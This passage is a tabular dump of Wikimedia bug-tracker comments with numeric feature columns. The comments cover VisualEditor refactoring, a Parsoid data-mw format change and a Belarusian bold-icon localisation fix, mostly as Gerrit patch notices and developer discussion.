GERRIT_URL"
251157,VisualEditor: Move MW-specific code out of the VE-core model registry,"Change 116485 merged by jenkins-bot:
Remove MW-specific config and genericise tests in ModelRegistry

https://gerrit.wikimedia.org/r/116485",,,1393874576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hia733wv6lu2vvjmm2xv,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.809523809523809,0.9523809523809523,"Change 116485 merged by jenkins-bot:
Remove MW-specific config and genericise tests in ModelRegistry

GERRIT_URL"
251154,VisualEditor: Move MW-specific code out of the VE-core model registry,"Change 116487 had a related patch set uploaded by Esanders:
MW configuration for modelRegistry

https://gerrit.wikimedia.org/r/116487",,,1393858493,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hia733wv6lu2vvjmm2xv,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.222222222222222,1.0,"Change 116487 had a related patch set uploaded by Esanders:
MW configuration for modelRegistry

GERRIT_URL"
251149,VisualEditor: Move MW-specific code out of the VE-core model registry,"Change 116485 had a related patch set uploaded by Esanders:
Remove MW-specific config and genericise tests in ModelRegistry

https://gerrit.wikimedia.org/r/116485",,,1393858486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hia733wv6lu2vvjmm2xv,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.958333333333333,1.0,"Change 116485 had a related patch set uploaded by Esanders:
Remove MW-specific config and genericise tests in ModelRegistry

GERRIT_URL"
55135,Clean up single vs. multi-part data-mw,"We currently use { target: {}, params: {} } for single-transclusion content, and {parts: [{template:{target: {}, params: {}, i: 0}}]} for multi-part transclusions and extensions. This creates special cases and makes it necessary to know all keys to convert the single-transclusion format into the parts bit.

The missing namespacing also makes it harder than necessary to add additional information to data-mw.

To clean this up, we should consider moving to always using an array format like this:

parts: [{""@type"":""mw:Transclusion"", target: {}, params: {}}]

The change to always use an array is already supported by VisualEditor. Flattening the nested object and using a JSON-LDish @type key makes the parts structure more regular and easier to extend. It also moves it closer to the RDFa names. Both us and VE can support both formats as an input for a while to avoid caching issues, but should start by only emitting the new format.

See also:
http://json-ld.org/playground/index.html -- some example JSON-LD

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377042960,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-iwz7tbppv2hen4mzt3ny,task_description,open,True,c1,3,True,False,,7,,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,3.6666666666666665,7.333333333333333,0.0,2.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,1.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.0,13.666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,4.666666666666667,0.3333333333333333,7.333333333333333,0.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,0.0,3.0,7.333333333333333,1.0,0.0,0.6666666666666666,0.3333333333333333,3.0,0.0,0.0,1.6666666666666667,0.3333333333333333,2.3333333333333335,1.6666666666666667,0.0,1.0,3.766666666666666,0.6833333333333332,"We currently use { target: {}, params: {} } for single-transclusion content, and {parts: [{template:{target: {}, params: {}, i: 0}}]} for multi-part transclusions and extensions. This creates special cases and makes it necessary to know all keys to convert the single-transclusion format into the parts bit.

The missing namespacing also makes it harder than necessary to add additional information to data-mw.

To clean this up, we should consider moving to always using an array format like this:

parts: [{""@type"":""mw:Transclusion"", target: {}, params: {}}]

The change to always use an array is already supported by VisualEditor. Flattening the nested object and using a JSON-LDishSCREEN_NAME key makes the parts structure more regular and easier to extend. It also moves it closer to the RDFa names. Both us and VE can support both formats as an input for a while to avoid caching issues, but should start by only emitting the new format.

See also:
URL -- some example JSON-LD

--------------------------
**Version**: unspecified
**Severity**: normal"
250382,Clean up single vs. multi-part data-mw,"The other changes in this ticket will require co-ordination with VE since it will break existing code.

This will also require the cached HTML versioning to be implemented to prevent weird editing errors between when parsoid is deployed and varnish caches or cleared.  Alternatively, VE and Parsoid serializer would have to handle old and new formats of data-mw temporarily.",,,1377558860,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-iwz7tbppv2hen4mzt3ny,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,12.0,0.0,4.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,1.0,12.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.594202898550725,0.8405797101449275,"The other changes in this ticket will require co-ordination with VE since it will break existing code.

This will also require the cached HTML versioning to be implemented to prevent weird editing errors between when parsoid is deployed and varnish caches or cleared.  Alternatively, VE and Parsoid serializer would have to handle old and new formats of data-mw temporarily."
250381,Clean up single vs. multi-part data-mw,"Change 81143 merged by jenkins-bot:
(Bug 53135) Step 1: Always use parts array for transclusion data-mw

https://gerrit.wikimedia.org/r/81143",,,1377558504,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iwz7tbppv2hen4mzt3ny,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.740740740740741,0.9259259259259259,"Change 81143 merged by jenkins-bot:
(Bug 53135) Step 1: Always use parts array for transclusion data-mw

GERRIT_URL"
250375,Clean up single vs. multi-part data-mw,"Change 81143 had a related patch set uploaded by Subramanya Sastry:
(Bug 53135) Step 1: Always use parts array for transclusion data-mw

https://gerrit.wikimedia.org/r/81143",,,1377557762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iwz7tbppv2hen4mzt3ny,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.096774193548387,0.967741935483871,"Change 81143 had a related patch set uploaded by Subramanya Sastry:
(Bug 53135) Step 1: Always use parts array for transclusion data-mw

GERRIT_URL"
55094,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**Author:** `p.selitskas`

**Description:**
Please create an icon with bold cyrillic ""Т"" for [be] and [be-tarask].

In Belarusian locales ([be] and [be-tarask]), the Bold icon is now read as ""Тл"" which may be interpreted as ""Тлусты"" (fat), but in fact it makes the selected text not fat, but bold (""Тоўсты""). :)

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377007260,1379364856.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7uqnmenedinwiui6wz4s,task_description,resolved,True,c1,3,False,False,True,7,,0.0,0.0,0.0,1.5,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,3.5,8.5,0.0,3.0,3.0,0.0,1.0,0.0,0.0,3.5,1.5,0.0,0.0,1.0,4.0,4.0,0.0,6.5,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,3.0,2.981818181818182,0.6272727272727272,"**Author:** CODE

**Description:**
Please create an icon with bold cyrillic ""Т"" for [be] and [be-tarask].

In Belarusian locales ([be] and [be-tarask]), the Bold icon is now read as ""Тл"" which may be interpreted as ""Тлусты"" (fat), but in fact it makes the selected text not fat, but bold (""Тоўсты""). :)

--------------------------
**Version**: unspecified
**Severity**: normal"
248109,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,This should now be fixed in production; sorry for the delay.,,,1379364856,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,1.0,This should now be fixed in production; sorry for the delay.
248101,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84361 merged by jenkins-bot:
Fix merge conflict breaking localised bold/italic icons

https://gerrit.wikimedia.org/r/84361",,,1379357724,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.65,1.0,"Change 84361 merged by jenkins-bot:
Fix merge conflict breaking localised bold/italic icons

GERRIT_URL"
248094,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84361 had a related patch set uploaded by Reedy:
Fix merge conflict breaking localised bold/italic icons

https://gerrit.wikimedia.org/r/84361",,,1379357517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.695652173913044,1.0,"Change 84361 had a related patch set uploaded by Reedy:
Fix merge conflict breaking localised bold/italic icons

GERRIT_URL"
248088,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84095 merged by jenkins-bot:
Fix merge conflict breaking localised bold/italic icons

https://gerrit.wikimedia.org/r/84095",,,1379355814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.65,1.0,"Change 84095 merged by jenkins-bot:
Fix merge conflict breaking localised bold/italic icons

GERRIT_URL"
248084,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84095 had a related patch set uploaded by Catrope:
Fix merge conflict breaking localised bold/italic icons

https://gerrit.wikimedia.org/r/84095",,,1379023642,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.782608695652174,1.0,"Change 84095 had a related patch set uploaded by Catrope:
Fix merge conflict breaking localised bold/italic icons

GERRIT_URL"
248080,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,You're welcome. It does.,,,1379019052,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8571428571428571,You're welcome. It does.
248076,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:

(In reply to comment #17)
> Argh, sorry about this mess; we'll back-port the fix.

Thanks for swift resolving! Does it mean the 'fix fix' will be deployed soon out of general deployment schedule?",,,1379015228,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,7.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4761904761904763,0.8571428571428571,"**p.selitskas** wrote:

(In reply to comment #17)
QUOTE

Thanks for swift resolving! Does it mean the 'fix fix' will be deployed soon out of general deployment schedule?"
248070,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Argh, sorry about this mess; we'll back-port the fix.",,,1379011818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Argh, sorry about this mess; we'll back-port the fix."
248066,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84027 merged by jenkins-bot:
Fix merge conflict breaking localised bold/italic icons

https://gerrit.wikimedia.org/r/84027",,,1379011697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.65,1.0,"Change 84027 merged by jenkins-bot:
Fix merge conflict breaking localised bold/italic icons

GERRIT_URL"
248060,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"Change 84027 had a related patch set uploaded by Esanders:
Fix merge conflict breaking localised bold/italic icons

https://gerrit.wikimedia.org/r/84027",,,1379011477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.826086956521739,1.0,"Change 84027 had a related patch set uploaded by Esanders:
Fix merge conflict breaking localised bold/italic icons

GERRIT_URL"
248054,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,This is the offending commit: https://gerrit.wikimedia.org/r/#/c/81522/,,,1379011117,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.0,1.0,This is the offending commit: URL
248048,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:

(In reply to comment #12)
> Looks like Trevor's toolbar rewrite didn't merge cleanly with my commits and
> they were partially undone.

Obviously. I was not aware of the rewrite and first thought that the patch was merged but hasn't appeared in the codebase (black magic).",,,1379008274,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,2.0,4.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.42,0.76,"**p.selitskas** wrote:

(In reply to comment #12)
QUOTE
QUOTE

Obviously. I was not aware of the rewrite and first thought that the patch was merged but hasn't appeared in the codebase (black magic)."
248043,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,Looks like Trevor's toolbar rewrite didn't merge cleanly with my commits and they were partially undone.,,,1379007349,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.684210526315789,1.0,Looks like Trevor's toolbar rewrite didn't merge cleanly with my commits and they were partially undone.
248037,VisualEditor: be & be-tarask locales need a different i18n Bold toolbar icon,"**p.selitskas** wrote:

(In reply to comment #10)
> (In reply to comment #9)
> > te-el shouldn't exist as it was replaced with just te, so maybe this is a
> > caching issue?
> 
> https://bits.wikimedia.org/static-1.22wmf16/extensions/VisualEditor/modules/
> ve/ui/styles/images/icons/bold-cyrl-te-el.svg
> 
> 404 (PNG as well). And I'm not counting the absent CSS class that should
> display this icon. Did the deployment come smoothly? :)

Oh, I'm sorry, I checked the wrong file. Anyway, JS adds the wrong class.",,,1379006964,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7uqnmenedinwiui6wz4s,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,4.0,4.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.909090909090909,0.5272727272727272,"**p.selitskas** wrote:

(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

